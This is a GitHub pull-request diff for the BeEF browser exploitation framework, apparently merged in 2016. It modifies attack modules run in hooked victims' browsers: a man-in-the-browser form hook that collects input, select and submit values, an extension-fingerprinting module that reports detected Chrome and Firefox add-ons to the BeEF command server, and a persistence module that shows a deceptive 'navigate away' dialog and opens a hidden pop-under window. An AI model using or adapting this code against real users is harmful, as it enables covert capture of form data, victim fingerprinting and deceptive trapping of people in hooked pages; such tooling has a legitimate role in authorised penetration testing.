Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bug fixes + additional options #1232

Merged
merged 4 commits into from
Mar 21, 2016
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
13 changes: 9 additions & 4 deletions core/main/client/lib/webrtcadapter.js
Original file line number Diff line number Diff line change
Expand Up @@ -77,11 +77,16 @@ if (navigator.mozGetUserMedia) {
return new mozRTCPeerConnection(pcConfig, pcConstraints);
};

// The RTCSessionDescription object.
window.RTCSessionDescription = mozRTCSessionDescription;
try {
// The RTCSessionDescription object.
window.RTCSessionDescription = mozRTCSessionDescription;

// The RTCIceCandidate object.
window.RTCIceCandidate = mozRTCIceCandidate;
// The RTCIceCandidate object.
window.RTCIceCandidate = mozRTCIceCandidate;

}catch(err) {

}

// getUserMedia constraints shim.
getUserMedia = (webrtcDetectedVersion < 38) ?
Expand Down
25 changes: 23 additions & 2 deletions core/main/client/mitb.js
Original file line number Diff line number Diff line change
Expand Up @@ -114,18 +114,39 @@ beef.mitb = {
// Hooks forms and prevents them from linking away
poisonForm:function (form) {
form.onsubmit = function (e) {

// Collect <input> tags.
var inputs = form.getElementsByTagName("input");
var query = "";
for (var i = 0; i < inputs.length; i++) {
if (i > 0 && i < inputs.length - 1) query += "&";
switch (inputs[i].type) {
case "submit":
break;
default:
query += inputs[i].name + "=" + inputs[i].value;
query += inputs[i].name + "=" + inputs[i].value + '&';
break;
}
}

// Collect selected options from the form.
var selects = form.getElementsByTagName("select");
for (var i = 0; i < selects.length; i++) {
var select = selects[i];
query += select.name + "=" + select.options[select.selectedIndex].value + '&';
}

// We should be gathering 'submit' inputs as well, as there are
// applications demanding this parameter.
var submit = $j('*[type="submit"]', form);
if(submit.length) {
// Append name of the submit button/input.
query += submit.attr('name') + '=' + submit.attr('value');
}

if(query.slice(-1) == '&') {
query = query.slice(0, -1);
}

e.preventdefault;
beef.mitb.fetchForm(form.action, query, document.getElementsByTagName("html")[0]);
history.pushState({ Be:"EF" }, "", form.action);
Expand Down
195 changes: 113 additions & 82 deletions modules/browser/detect_extensions/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -1009,101 +1009,132 @@ beef.execute(function() {
new Array("inolmjbojghkehmmlbdmpdlmagalddni","Jagran - India No.1 Hindi News Daily")
);

var firefox_extensions = {
"Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png",
"Auto Copy" : "chrome://autocopy/skin/autocopy.png",
"ColorZilla" : "chrome://colorzilla/skin/logo.png",
"Customize Google" : "chrome://customizegoogle/skin/32x32.png",
"DownThemAll!" : "chrome://dta/content/immagini/icon.png",
"Faster Fox" : "chrome://fasterfox/skin/icon.png",
"Flash Block" : "chrome://flashblock/skin/flash-on-24.png",
"FlashGot" : "chrome://flashgot/skin/icon32.png",
"Forecastfox" : "chrome://forecastfox/skin/images/icon.png",
"Google Toolbar" : "chrome://google-toolbar/skin/icon.png",
"Greasemonkey" : "chrome://greasemonkey/content/status_on.gif",
"IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png",
"IE View" : "chrome://ieview/skin/ieview-icon.png",
"JS View" : "chrome://jsview/skin/jsview.gif",
"Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png",
"MeasureIt" : "chrome://measureit/skin/measureit.png",
"SEO For Firefox" : "chrome://seo4firefox/content/icon32.png",
"SEOpen" : "chrome://seopen/skin/seopen.png",
"Search Status" : "chrome://searchstatus/skin/cax10.png",
"Server Switcher" : "chrome://switcher/skin/icon.png",
"StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png",
"Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png",
"Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png",
"User Agent Switcher" : "chrome://useragentswitcher/content/logo.png",
"View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png",
"Web Developer" : "chrome://webdeveloper/content/images/logo.png",
"Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png",
"UrlParams" : "chrome://urlparams/skin/urlparams32.png",
"NewsFox" : "chrome://newsfox/skin/images/home.png",
"Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png",
"GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png",
"QuickJava" : "chrome://quickjava/content/js.png",
"Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png",
"BBCode" : "chrome://bbcode/skin/bbcode.png",
"BugMeNot" : "chrome://bugmenot/skin/bugmenot.png",
"ConQuery" : "chrome://conquery/skin/conquery.png",
"Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png",
"Extended Cookie Manager" : "chrome://xcm/content/allowed.png",
"FireBug" : "chrome://firebug/content/firebug32.png",
"FoxyTunes" : "chrome://foxytunes/skin/logo.png",
"MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png",
"SessionSaver .2" : "chrome://sessionsaver/content/ss.png",
"spooFX" : "chrome://spoofx/skin/main/spoofx.png",
"Statusbar Clock" : "chrome://timestatus/skin/icon.png",
"Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png",
"UnPlug" : "chrome://unplug/skin/unplug.png",
"View Source Chart" : "chrome://vrs/skin/vrssmall.png",
"XPather" : "chrome://xpather/content/iconka.png",
"WOT" : "chrome://wot/skin/fusion/logo.png",
"LastPass" : "chrome://lastpass/skin/vaultdelete.png",

};
var firefox_extensions = {
"Adblock Plus" : "chrome://adblockplus/skin/adblockplus.png",
"Auto Copy" : "chrome://autocopy/skin/autocopy.png",
"ColorZilla" : "chrome://colorzilla/skin/logo.png",
"Customize Google" : "chrome://customizegoogle/skin/32x32.png",
"DownThemAll!" : "chrome://dta/content/immagini/icon.png",
"Faster Fox" : "chrome://fasterfox/skin/icon.png",
"Flash Block" : "chrome://flashblock/skin/flash-on-24.png",
"FlashGot" : "chrome://flashgot/skin/icon32.png",
"Forecastfox" : "chrome://forecastfox/skin/images/icon.png",
"Google Toolbar" : "chrome://google-toolbar/skin/icon.png",
"Greasemonkey" : "chrome://greasemonkey/content/status_on.gif",
"IE Tab" : "chrome://ietab/skin/ietab-button-ie16.png",
"IE View" : "chrome://ieview/skin/ieview-icon.png",
"JS View" : "chrome://jsview/skin/jsview.gif",
"Live HTTP Headers" : "chrome://livehttpheaders/skin/img/Logo.png",
"MeasureIt" : "chrome://measureit/skin/measureit.png",
"SEO For Firefox" : "chrome://seo4firefox/content/icon32.png",
"SEOpen" : "chrome://seopen/skin/seopen.png",
"Search Status" : "chrome://searchstatus/skin/cax10.png",
"Server Switcher" : "chrome://switcher/skin/icon.png",
"StumbleUpon" : "chrome://stumbleupon/content/skin/logo32.png",
"Tab Mix Plus" : "chrome://tabmixplus/skin/tmp.png",
"Torrent-Search Toolbar" : "chrome://torrent-search/skin/v.png",
"User Agent Switcher" : "chrome://useragentswitcher/content/logo.png",
"View Source With" : "chrome://viewsourcewith/skin/ff/tb16.png",
"Web Developer" : "chrome://webdeveloper/content/images/logo.png",
"Unhide Passwords" : "chrome://unhidepw/skin/unhidepw.png",
"UrlParams" : "chrome://urlparams/skin/urlparams32.png",
"NewsFox" : "chrome://newsfox/skin/images/home.png",
"Add N Edit Cookies" : "chrome://addneditcookies/skin/images/anec32.png",
"GTDGmail" : "chrome://gtdgmail/content/gtd_lineitem.png",
"QuickJava" : "chrome://quickjava/content/js.png",
"Adblock Filterset.G Updater" : "chrome://unplug/skin/unplug.png",
"BBCode" : "chrome://bbcode/skin/bbcode.png",
"BugMeNot" : "chrome://bugmenot/skin/bugmenot.png",
"ConQuery" : "chrome://conquery/skin/conquery.png",
"Download Manager Tweak" : "chrome://downloadmgr/skin/downloadIcon.png",
"Extended Cookie Manager" : "chrome://xcm/content/allowed.png",
"FireBug" : "chrome://firebug/content/firebug32.png",
"FoxyTunes" : "chrome://foxytunes/skin/logo.png",
"MR Tech Disable XPI Install Delay" : "chrome://disable_xpi_delay/content/icon.png",
"SessionSaver .2" : "chrome://sessionsaver/content/ss.png",
"spooFX" : "chrome://spoofx/skin/main/spoofx.png",
"Statusbar Clock" : "chrome://timestatus/skin/icon.png",
"Torbutton" : "chrome://torbutton/skin/bigbutton_gr.png",
"UnPlug" : "chrome://unplug/skin/unplug.png",
"View Source Chart" : "chrome://vrs/skin/vrssmall.png",
"XPather" : "chrome://xpather/content/iconka.png",
"WOT" : "chrome://wot/skin/fusion/logo.png",
"LastPass" : "chrome://lastpass/skin/vaultdelete.png",
};

var failed = false;
var detect_chrome_extension = function(addon_id, addon_name) {
if (failed) {
return false;
}

var s = document.createElement('script');
s.onload = function() {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension='+addon_name);
}
s.onerror = function() {
throw 'detect_chrome_extension';
}
s.src = 'chrome-extension://' + addon_id + '/manifest.json';
document.body.appendChild(s);
}

var detect_firefox_extension = function(addon_url, addon_name) {
var img = document.createElement("img");
img.setAttribute("border", '0');
img.setAttribute("width", '0');
img.setAttribute("height", '0');
img.setAttribute("onload", "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=" + addon_name+ "');");
img.setAttribute("src", addon_url);
var detect_firefox_extension = function(addon_url, addon_name) {
if (failed) {
return false;
}
var img = document.createElement("img");
img.setAttribute("border", '0');
img.setAttribute("width", '0');
img.setAttribute("height", '0');
img.setAttribute("onload", "beef.net.send('<%= @command_url %>', <%= @command_id %>, 'extension=" + addon_name+ "');");
img.setAttribute('onerror', 'throw "detect_firefox_extension"');
img.setAttribute("src", addon_url);
}

if(beef.browser.isC()) {
try {

window.onerror = function (e) {
if (!failed) {
failed = true;
if (e.indexOf("detect_chrome_extension") != -1) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
}
}
};

for (var i=0; i<chrome_extensions.length; i++) {
detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
}
} else if(beef.browser.isFF()) {
try {

if(beef.browser.isC()) {
try {
for (var i=0; i<chrome_extensions.length; i++) {
detect_chrome_extension(chrome_extensions[i][0], chrome_extensions[i][1]);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Chrome extensions failed', beef.are.status_error());
}
} else if(beef.browser.isFF()) {
try {
for (var i in firefox_extensions) {
detect_firefox_extension(firefox_extensions[i], i);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
}
} else if(beef.browser.isIE()) {
try {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error());
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error());
}
window.onerror = function (e) {
if (!failed) {
failed = true;
if (e.indexOf("detect_firefox_extension") != -1) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
}
}
};

for (var i in firefox_extensions) {
detect_firefox_extension(firefox_extensions[i], i);
}
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Firefox extensions failed', beef.are.status_error());
}
} else if(beef.browser.isIE()) {
try {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions is not supported', beef.are.status_error());
} catch(e) {
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=detecting Internet Explorer extensions failed', beef.are.status_error());
}
}

});

24 changes: 20 additions & 4 deletions modules/persistence/confirm_close_tab/command.js
Original file line number Diff line number Diff line change
Expand Up @@ -7,28 +7,44 @@
beef.execute(function() {

function display_confirm(){
if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){
if(confirm("<%= @text %>")){
display_confirm();
}
}

function dontleave(e){
e = e || window.event;

var usePopUnder = '<%= @usePopUnder %>';
if(usePopUnder) {
var popunder_url = beef.net.httpproto + '://' + beef.net.host + ':' + beef.net.port + '/demos/plain.html';
var popunder_name = Math.random().toString(36).substring(2,10);
beef.debug("[Create Pop-Under] Creating window '" + popunder_name + "' for '" + popunder_url + "'");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window requested');
try {
window.open(popunder_url,popunder_name,'toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=0,width=1,height=1,left='+screen.width+',top='+screen.height+'').blur();
window.focus();
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window successfully created!', beef.are.status_success());
} catch(e) {
beef.debug("[Create Pop-Under] Could not create pop-under window");
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Pop-under window was not created', beef.are.status_error());
}
}

if(beef.browser.isIE()){
e.cancelBubble = true;
e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
e.returnValue = "<%= @text %>";
}else{
if (e.stopPropagation) {
e.stopPropagation();
e.preventDefault();
e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away.";
e.returnValue = "<%= @text %>";
}
}

//re-display the confirm dialog if the user clicks OK (to leave the page)
display_confirm();
return "There is currently a request to the server pending. You will lose recent changes by navigating away.";
return "<%= @text %>";
}

window.onbeforeunload = dontleave;
Expand Down
16 changes: 16 additions & 0 deletions modules/persistence/confirm_close_tab/module.rb
Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,22 @@
#
class Confirm_close_tab < BeEF::Core::Command

def self.options
return [{
'name' => 'text',
'description' => 'Specifies message to display to the user.',
'type' => 'textarea',
'ui_label' => 'Confirm text',
'value' => 'Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.',
'width' => '400px'
},
{ 'name' => 'usePopUnder',
'type' => 'checkbox',
'ui_label' => 'Create a pop-under window on user\'s tab closing',
'checked' => 'true'
}]
end

def post_execute
save({'result' => @datastore['result']})
end
Expand Down